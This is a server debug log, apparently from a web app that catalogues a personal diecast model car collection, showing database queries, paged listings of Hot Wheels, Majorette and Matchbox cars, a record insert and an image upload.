  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T11:28:59.900Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T11:28:59.901Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 }
]
2026-02-04T11:28:59.902Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T11:28:59.904Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T11:28:59.904Z server-connect:app Executing action step identify
2026-02-04T11:28:59.904Z server-connect:app options: { provider: 'security' }
2026-02-04T11:28:59.904Z server-connect:output identity: 1
2026-02-04T11:28:59.904Z server-connect:app Executing action step restrict
2026-02-04T11:28:59.905Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:28:59.905Z server-connect:output restrict: undefined
2026-02-04T11:28:59.905Z server-connect:app Executing action step select
2026-02-04T11:28:59.905Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:28:59.906Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 164,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:28:59.906Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T11:28:59.906Z server-connect:app Executing action step select
2026-02-04T11:28:59.906Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:28:59.907Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T11:28:59.907Z server-connect:app Executing action step select
2026-02-04T11:28:59.907Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:28:59.908Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T11:29:21.262Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T11:29:21.262Z server-connect:app Executing action step identify
2026-02-04T11:29:21.262Z server-connect:app options: { provider: 'security' }
2026-02-04T11:29:21.262Z server-connect:output identity: 1
2026-02-04T11:29:21.262Z server-connect:app Executing action step restrict
2026-02-04T11:29:21.262Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:29:21.262Z server-connect:output restrict: undefined
2026-02-04T11:29:21.263Z server-connect:app Executing action step condition
2026-02-04T11:29:21.263Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T11:29:21.263Z server-connect:app Executing action step insert
2026-02-04T11:29:21.263Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T11:29:21.263Z server-connect:output insert: { affected: 1, identity: 188 }
2026-02-04T11:29:21.263Z server-connect:app Executing action step condition
2026-02-04T11:29:21.263Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T11:29:21.264Z server-connect:app Executing action step upload
2026-02-04T11:29:21.264Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T11:29:21.264Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T11:29:21.264Z server-connect:upload Process fields: 'images[]'
2026-02-04T11:29:21.264Z server-connect:upload Processing file: {
  name: 's-l1600 (1).webp',
  data: <Buffer >,
  size: 122366,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-74-20378841770204561260',
  truncated: false,
  mimetype: 'image/webp',
  md5: '038499bca41451cdd69b9301184a82a3',
  mv: [Function: mv]
}
2026-02-04T11:29:21.264Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_1_1216e5dd-3fd1-41e9-9759-5ac8735eaf71.webp',
  rel: 'public/assets/images/diecast/s-l1600_1_1216e5dd-3fd1-41e9-9759-5ac8735eaf71.webp'
}
2026-02-04T11:29:21.264Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_1_1216e5dd-3fd1-41e9-9759-5ac8735eaf71.webp',
  rel: 'assets/images/diecast/s-l1600_1_1216e5dd-3fd1-41e9-9759-5ac8735eaf71.webp'
}
2026-02-04T11:29:21.264Z server-connect:output upload_image: [
  {
    name: 's-l1600_1_1216e5dd-3fd1-41e9-9759-5ac8735eaf71.webp',
    path: '/public/assets/images/diecast/s-l1600_1_1216e5dd-3fd1-41e9-9759-5ac8735eaf71.webp',
    url: '/assets/images/diecast/s-l1600_1_1216e5dd-3fd1-41e9-9759-5ac8735eaf71.webp',
    type: 'image/webp',
    size: 122366
  }
]
2026-02-04T11:29:21.264Z server-connect:app Executing action step repeat
2026-02-04T11:29:21.264Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T11:29:21.264Z server-connect:app Executing action step insert
2026-02-04T11:29:21.264Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:29:21.264Z server-connect:output images: { affected: 1, identity: 225 }
2026-02-04T11:29:21.264Z server-connect:output repeat_images: [ {} ]
2026-02-04T11:29:21.264Z server-connect:output condition: undefined
2026-02-04T11:29:21.264Z server-connect:output condition: undefined
2026-02-04T11:29:21.596Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:29:21.597Z server-connect:app Executing action step identify
2026-02-04T11:29:21.597Z server-connect:app options: { provider: 'security' }
2026-02-04T11:29:21.597Z server-connect:output identity: 1
2026-02-04T11:29:21.597Z server-connect:app Executing action step restrict
2026-02-04T11:29:21.597Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:29:21.597Z server-connect:output restrict: undefined
2026-02-04T11:29:21.597Z server-connect:app Executing action step paged
2026-02-04T11:29:21.597Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:29:21.601Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 165,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
